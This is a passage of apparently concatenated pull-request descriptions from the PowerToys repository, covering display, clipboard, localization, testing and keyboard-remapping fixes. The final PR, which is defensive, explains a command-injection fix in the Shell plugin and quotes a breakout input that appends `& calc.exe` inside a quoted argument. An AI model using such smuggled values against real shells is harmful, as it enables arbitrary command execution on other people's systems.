- **Brightness capability check**: Guard brightness init behind
`SupportsBrightness` flag, consistent with contrast/volume handling.
- **IdentifyWindow lifecycle**: Replace fire-and-forget `Task.Delay`
with `DispatcherQueueTimer` (UI-thread-safe, stoppable on dispose). Swap
`Activate`/`PositionOnDisplay` order to eliminate first-show flicker.
- **Startup restore fix**: Change `MonitorStateEntry` fields to `int?`
so unset values (`null`) aren't confused with zero — prevents writing
default 0% brightness/volume to hardware on startup.
- **Restore/profile apply refactor**: Push value validation down to
`Set*Async` (continuous → `Math.Clamp`, discrete → capabilities check),
extract unified `TryRestore` helper, remove redundant `IsValueInRange`
and `> 0` checks.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This issue introduced by our recent WinUI 3 migration
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #47055
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Co-authored-by: Yu Leng <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4 <noreply@anthropic.com>
## Summary
- **Disable 7 modules by default** for new users: PowerToys Run, Crop
and Lock, Advanced Paste, Hosts File Editor, Registry Preview,
Environment Variables, Workspaces
- **Swap default hotkeys**: Command Palette now defaults to \Alt+Space\,
PowerToys Run now defaults to \Win+Alt+Space\
- Update unit test to reflect PowerLauncher default-off state
## Changes
| File | Change |
|------|--------|
| \EnabledModules.cs\ | Set 7 module defaults to off |
| \PowerLauncherProperties.cs\ | Default hotkey → \Win+Alt+Space\ |
| \SettingsModel.cs\ (CmdPal) | Default hotkey → \Alt+Space\ |
| \General.cs\ (test) | Assert PowerLauncher is false |
## Validation
- Existing unit test updated to match new defaults
- No ABI or IPC contract changes
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary
Fixes#46485
AdvancedPaste's auto-copy feature fails on Electron/Chromium-based apps
(e.g. Microsoft Teams, VS Code, browsers) because `WM_COPY` is delivered
successfully but silently ignored by these apps.
## Problem
The auto-copy code sends `WM_COPY` via `SendMessageTimeout`. For
standard Win32 controls this works, but Electron apps accept the message
delivery without actually copying to clipboard. The code treated
successful delivery as success and **never fell back to `SendInput`
Ctrl+C**.
## Changes
**`src/modules/AdvancedPaste/AdvancedPasteModuleInterface/dllmain.cpp`**:
- **Changed retry logic**: Each attempt now tries both `WM_COPY` and
`SendInput` Ctrl+C. If `WM_COPY` is delivered but clipboard is
unchanged, it falls through to Ctrl+C instead of giving up.
- **Extracted `poll_clipboard_sequence()` helper**: Reusable clipboard
polling logic (checks `GetClipboardSequenceNumber` over N polls with
configurable delay).
- **Extracted `send_ctrl_c_input()` helper**: Sends Ctrl+C via
`SendInput` with `CENTRALIZED_KEYBOARD_HOOK_DONT_TRIGGER_FLAG`.
- **Improved logging**: Each strategy logs clearly whether it succeeded
or fell through, making future debugging easier.
## Validation
- [x] Manual testing with Microsoft Teams (Electron): auto-copy now
works for selected text
- [x] Standard Win32 apps (Notepad, etc.): `WM_COPY` still works on
first try, no regression
- [x] No new warnings or errors in build
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary
Formats the Last checked date on the General and Dashboard pages with
friendly relative strings instead of raw date/time output.
**Before:** Last checked: 4/12/2026 1:22:00 PM
**After:** Last checked: Today at 1:22 PM / Yesterday at 3:45 PM
### Changes
- Add LastCheckedDateTime property to UpdatingSettings exposing the
parsed DateTime
- Create FriendlyDateHelper in Settings.UI that formats Today/Yesterday
with localized resource strings, falling back to the full
culture-specific format for older dates
- Update GeneralViewModel and CheckUpdateControl to use the friendly
format
- Add localized resource strings General_LastCheckedDate_TodayAt and
General_LastCheckedDate_YesterdayAt
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Re-creation of #46817 from an internal branch to work around stale
code-scanning merge protection.
## Original PR
See #46817 for full context, discussion, and review history.
## Summary
This adds a new toy, GrabAndMove (previously WinPos), that allows
dragging (left click) or resizing (right click) of windows while the Alt
key is pressed.
Closes: #269
## PR Checklist
- [x] Communication: discussed with core contributors
- [ ] Tests: Added/updated and all pass
- [ ] Localization: All end-user-facing strings can be localized
- [ ] Dev docs: Added/updated
---------
Co-authored-by: foxmsft <foxmsft@hotmail.com>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Co-authored-by: Muyuan Li (from Dev Box) <muyuanli@microsoft.com>
Co-authored-by: Niels Laute <niels.laute@live.nl>
Co-authored-by: Alex Mihaiuc <amihaiuc@microsoft.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This PR adds comprehensive localization and telemetry support to the
modules with CLI (FileLocksmith, Awake, ImageResizer), improving user
experience for international users and enabling usage tracking for
product insights.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary
Fixes layout issues on the Settings Dashboard page:
- **Scroll area fix**: The scroll area on the Home page extended far
beyond the content, leaving a large empty space below the modules list.
(By wrapping the quick launch / shortcuts cards into a `StackPanel` vs
separate `Grid.Rows`
- **Resizing fix**: On main, resizing states are not applied when making
the window smaller. This is now fixed.
- **1px alignment fix**: Fixed a 1-pixel vertical alignment mismatch on
the Dashboard shortcut conflict control.
Closes#45925Closes#41523
Mark _disposed and _isDirty as volatile for correct cross-thread
visibility. Guard color temperature apply/restore behind
ShowColorTemperature to avoid writing unsupported VCP codes. Fix
misleading log message in Settings UI profile apply path.
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
- Replace custom GetLastError P/Invoke with Marshal.GetLastWin32Error
and add SetLastError=true
- Fix resource leaks: dispose DpiSuppressor on window close, dispose
MonitorViewModels on refresh, destroy unused small icon handle, wrap WMI
outParams in using block
- Remove unused code: IProfileService, ColorTemperatureHelper,
ProfileHelper (Lib), CustomVcpValueMappingExtensions, IPCMessageAction,
UpdatePropertySilently, LocalizedCodeNameProvider, bring_to_front,
Constants.h
- Convert recursive MccsCapabilitiesParser.TryParseEntry to iterative
loop
- Simplify ProfileService to static class
- Use std::atomic for m_enabled flag in module interface
- Change default activation shortcut to Win+Ctrl+Shift+P
- Add null-coalescing fallback for ActivationShortcut property
- Add PowerDisplay to ModuleHelper name mapping
- Update GPO policy to target PowerToys 0.99.0
- Fix NamedPipeProcessor to break on pipe close and reduce log verbosity
- Add ShortcutControl workaround in Settings UI
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Co-authored-by: Yu Leng <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4 <noreply@anthropic.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This PR adds new transitive dependencies to Command Palette’s SLNF (UI
tests -> UITestAutomation -> ...), and introduces a new SLNF that
excludes UI tests entirely, making it leaner.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
`ProcessCommand` played the pin/unpin sound unconditionally, regardless
of whether `SetWindowPos` succeeded. This caused spurious audio feedback
when targeting desktop, taskbar, task view, start menu, or elevated
windows from a non-elevated process.
Gate sound playback on actual state change:
```cpp
bool stateChanged = false;
// ...
if (UnpinTopmostWindow(window)) { stateChanged = true; /* ... */ }
// ...
if (PinTopmostWindow(window)) { stateChanged = true; /* ... */ }
// ...
if (stateChanged && AlwaysOnTopSettings::settings()->enableSound)
m_sound.Play(soundType);
```
## PR Checklist
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
`PinTopmostWindow` and `UnpinTopmostWindow` already return `bool`
indicating success, and the existing code already branches on those
return values for bookkeeping and telemetry — but the sound playback at
the end of `ProcessCommand` ignored the result. Added a `stateChanged`
flag set only inside the success branches, then checked before calling
`m_sound.Play()`.
## Validation Steps Performed
- Verified that the `soundType` / `stateChanged` logic covers all four
paths: pin success, pin failure, unpin success, unpin failure.
- Code review passed with no comments.
---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
## Summary
Move Command Palette developer documentation from
\src/modules/cmdpal/doc\ to \doc/devdocs/modules/cmdpal\, consistent
with the location of other module dev docs.
Also updates the spell-check exclude path for the moved \.pdn\ file.
Points 2 and 3 from the issue (extension settings how-to and details
pane markdown documentation) are addressed in the windows-dev-docs-pr
repo.
Closes#38107
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary
The 'Not Responding' tag in Window Walker used a hardcoded crimson
foreground color (rgb 220,20,60) that was illegible against the dark tag
background in dark mode.
**Fix:** Remove the hardcoded color override so the tag uses the default
theme-aware TagForeground brush, which is legible in both light and dark
modes.
Closes#40219
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary of the Pull Request
`TrigModeSettingsTest` fails under cultures using `,` as decimal
separator (e.g., `de-DE`, `fr-FR`). Two root causes: the C++ calculator
engine's `ToWStringFullPrecision` doesn't pin the stream locale, and the
test classes don't set a deterministic thread culture.
## PR Checklist
- [x] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
## Detailed Description of the Pull Request / Additional comments
**C++ locale fix** — `ExprtkEvaluator.cpp`: `std::wostringstream`
defaults to the global C++ locale, which can be changed to the system
locale by the runtime. Pin it to `std::locale::classic()` so the decimal
separator is always `.` across the WinRT boundary:
```cpp
std::wostringstream oss;
oss.imbue(std::locale::classic());
oss << std::fixed << std::setprecision(15) << value;
```
**Test culture setup** — `QueryTests.cs`, `QueryHelperTests.cs`: Added
`TestInitialize`/`TestCleanup` to set thread culture to `en-US`,
matching the existing pattern across all TimeDate test classes.
**Non-English culture test cases** — New
`TrigModeSettingsTest_NonEnglishCulture` parameterized over `de-DE` and
`fr-FR` verifies `outputUseEnglishFormat: true` produces `.`-separated
output regardless of `CurrentCulture`.
## Validation Steps Performed
- Code review passed with no actionable findings (naming convention
matches existing TimeDate test pattern across 7+ files)
- New `TrigModeSettingsTest_NonEnglishCulture` test exercises the exact
failure scenario from the issue
---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
1. Re-enable PowerDisplay for PowerToys.
2. Add PowerDisplay back into installer.
3. Use new PowerDisplay icon and logo.
4. Fix some DPI related issue.
5. UI/UX improvement.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #1052
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Pull new code from this branch. Set up PowerDisplay.UI as startup
project. Click run in VS.
Or, build whole solution, set up runner as startup project. Click run to
test full experience.
---------
Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Co-authored-by: Niels Laute <niels.laute@live.nl>
## Summary of the Pull Request
Adds comprehensive unit tests for two previously untested areas to
improve test coverage and prevent regressions:
1. **Hosts ValidationHelper** (`ValidationHelperTest.cs`) — 25+ test
cases covering `ValidIPv4`, `ValidIPv6`, and `ValidHosts` methods
2. **ColorPicker ColorFormatHelper conversions**
(`ColorFormatConversionTest.cs`) — 50+ test cases covering CMYK, HSB,
HSI, HWB, CIE XYZ, CIE LAB, Oklab, Oklch, sRGB-to-linear, NCol
conversions, plus expanded `GetStringRepresentation` tests for Red,
White, Green, and Blue colors across all supported formats
## PR Checklist
- [x] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized —
N/A (test-only changes)
- [ ] **Dev docs:** Added/updated — N/A (test-only changes)
- [ ] **New binaries:** Added on the required places — N/A (no new
binaries)
## Detailed Description of the Pull Request / Additional comments
### Hosts ValidationHelper
(`src/modules/Hosts/Hosts.Tests/ValidationHelperTest.cs`)
- Tests `ValidIPv4` with valid addresses (loopback, private ranges,
broadcast), invalid addresses (out of range octets, wrong format, CIDR
notation), and null/whitespace inputs
- Tests `ValidIPv6` with valid addresses (loopback, full/compressed
notation, link-local, IPv4-mapped), invalid addresses (extra groups,
invalid hex digits), and null/whitespace inputs
- Tests `ValidHosts` with valid hostnames, FQDNs, max host count
boundary (using `Consts.MaxHostsCount` dynamically for both
exact-boundary and exceeds-boundary tests), and invalid hostnames
### ColorPicker Format Conversions
(`src/modules/colorPicker/ColorPickerUI.UnitTests/Helpers/ColorFormatConversionTest.cs`)
- Tests `ConvertToCMYKColor` for Black, White, Red, Green, Blue, and Mid
Gray
- Tests `ConvertToHSBColor`, `ConvertToHSIColor`, `ConvertToHWBColor`
for primary colors
- Tests `ConvertToCIEXYZColor` and `ConvertToCIELABColor` including D65
illuminant verification and negative b* assertion for Blue
- Tests `ConvertToOklabColor` and `ConvertToOklchColor` including chroma
non-negativity
- Tests `ConvertSRGBToLinearRGB` for linear and gamma paths
- Tests `ConvertToNaturalColor` for hue letter mapping (R exact match, G
and B prefix assertions)
- Tests `GetStringRepresentation` with Red, White, Green, Blue across
all 11+ format types (Decimal values use BGR byte order via `%Dv`
format: Red → "255", Blue → "16711680")
- Tests `GetDefaultFormat` returns non-empty strings for all known
format names
- Tests edge cases: empty/null format strings defaulting to hex output
### Spell-check allow list
- Added `SRGBTo` to `.github/actions/spell-check/allow/code.txt` to
resolve unrecognized-spelling alerts
### StyleCop / code analysis fixes
- Resolved SA1512, SA1515, CA1866, and CA1310 analyzer warnings to
comply with repo coding standards
### Code review fixes
- Renamed `ConvertToCIELAB_Blue_HasNegativeA` →
`ConvertToCIELAB_Blue_HasNegativeB` with corrected comment to match the
actual b* axis assertion
- Replaced hardcoded 12-host string with dynamic `Consts.MaxHostsCount +
1` in the exceeds-max-count boundary test
- Renamed `ConvertToNaturalColor_Green_ReturnsG0` →
`ConvertToNaturalColor_Green_HueStartsWithG` and
`ConvertToNaturalColor_Blue_ReturnsB0` →
`ConvertToNaturalColor_Blue_HueStartsWithB` to accurately reflect
prefix-only assertions
## Validation Steps Performed
- Verified test files follow existing MSTest patterns (`[TestClass]`,
`[TestMethod]`, `[DataTestMethod]`, `[DataRow]`)
- Verified all referenced classes and methods exist and are accessible
(correct namespaces and visibility)
- Verified namespace consistency with existing test files in each
project
- Used dynamic `Consts.MaxHostsCount` rather than hardcoded values for
all boundary tests
- Verified Decimal format expected values match the `%Dv` (BGR order)
implementation: `R + G*256 + B*65536`
- Verified test method names accurately describe their assertions
---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: crutkas <1462282+crutkas@users.noreply.github.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This PR attempts to fix some of the issues that were introduced in
0.98.0 with text replacement
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #46498
- [x] Closes: #46440
- [x] Closes: #46366
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
In 0.98.0 I made a change to support multiline text replacement using
Ctrl + V. This was very inconsistent so I have reverted back to
_basically_ the same approach we were using before except now when we
encounter a newline indicator we send "Shift + Enter" so that this works
in chat boxes and plan editors.
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Manual testing with single line and multiline replacements in Teams,
Terminal, Git bash, Edge, etc
Addresses code review feedback on the KBM manual key selection feature.
No new user-facing behavior; all changes are correctness, robustness,
and maintainability fixes.
## Summary of the Pull Request
- **Localization:** All hard-coded `RemappingDialog.Title` assignments
replaced with `ResourceHelper.GetString()`; added
`RemappingDialog_TitleEdit` resource key
- **VK_DISABLED centralization:** Replaced scattered `0x100`/`"256"`
literals and local `const string vkDisabledCode` with `private const int
VkDisabled = 0x100` / `private const string VkDisabledString = "256"` on
`MainPage`
- **Disable action validation:** Added
`ValidationHelper.ValidateDisableMapping()` — same trigger-key rules as
other action types (empty keys, modifier-only, illegal shortcuts,
duplicates, conflicting modifier variants); wired into
`ValidateMapping()` switch
- **Binding-safe dropdown revert:** `TriggerKeyDropDown_KeyChanged` /
`ActionKeyDropDown_KeyChanged` no longer set `dropDown.KeyName =
e.OldKeyName` on failure (breaks `{Binding}` expression); now use
`RevertKeySelection(keys, index)` which does
`ObservableCollection.RemoveAt` + `Insert` to force a binding-tracked
refresh without touching the DP directly. `NewKeyCode == 0` ("None") is
rejected via the same path
- **Dropdown validation:** `ValidateDropDownSelection` skips
`string.IsNullOrEmpty` placeholder slots (added by
`HandleAutoGrowShrink`) when checking repeated-modifier and max-size
rules
- **`SetActionType`:** Replaced hard-coded `SelectedIndex` with
tag-matching iteration over `ActionTypeComboBox.Items`; immune to XAML
item reorder
- **`ServiceStatusHelper`:** Dispose all `Process` objects returned by
`GetProcessesByName` before returning; prevents handle accumulation on
the 3-second polling timer
- **`KeyDropDownButton.GetKeyList()`:** Filter out `KeyCode == 0`
entries (native "None" sentinel for shortcut lists) before caching
- **`SettingsManager`:** `_mappingService!` used consistently in
`CreateSettingsFromKeyboardManagerService`
- **`KeyboardHookHelper`:** Constructor catch broadened from
`DllNotFoundException or InvalidOperationException` to `Exception`
## PR Checklist
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
The `RevertKeySelection` pattern: in WinUI, assigning directly to a
bound `DependencyProperty` overwrites the binding expression. Using
`ObservableCollection.RemoveAt` + `Insert` instead raises
`CollectionChanged(Replace)`, causing the binding to re-read from the
source without clearing the expression.
```csharp
private static void RevertKeySelection(ObservableCollection<string> keys, int index)
{
string current = keys[index];
keys.RemoveAt(index);
keys.Insert(index, current);
}
```
## Validation Steps Performed
Manually verified: dropdown key selection and revert on invalid
selection, Disable mapping save/load with the new validation, "None"
absent from key picker flyout, `SetActionType` correctly selects items
with preserved XAML order.
---------
Co-authored-by: Zach Teutsch <88554871+zateutsch@users.noreply.github.com>
Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
## Summary of the Pull Request
Fixes a command breakout vulnerability in the Shell plugin where user
input containing double quotes could be manipulated to execute arbitrary
sub-processes. By escaping double quotes, inputs like `test" & calc.exe`
are treated as literal strings rather than shell command separators.
## PR Checklist
- [ ] Closes: #xxx
- [x] **Communication:** Proactive fix for command execution logic.
- [x] **Tests:** Verified locally.
- [x] **Localization:** N/A
- [x] **Dev docs:** N/A
- [x] **New binaries:** N/A
- [x] **Documentation updated:** N/A
## Detailed Description of the Pull Request / Additional comments
Escaping double quotes in the command string before it is passed to the
shell prevents the breakout vector I identified while still allowing
environment variables to expand as expected. I also removed some
redundant property assignments in the shell helpers to keep the logic
focused on the core fix.
## Validation Steps Performed
Standard diagnostic commands like `ping` and `ipconfig` continue to
